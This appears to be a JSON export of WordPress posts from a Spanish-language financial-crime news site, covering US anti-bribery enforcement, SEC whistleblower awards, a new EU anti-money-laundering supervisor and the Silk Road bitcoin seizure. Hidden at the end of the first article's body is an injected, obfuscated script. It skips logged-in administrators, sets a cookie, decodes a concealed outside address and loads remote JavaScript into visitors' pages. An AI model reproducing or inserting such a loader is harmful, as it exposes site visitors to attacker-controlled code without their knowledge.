15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de 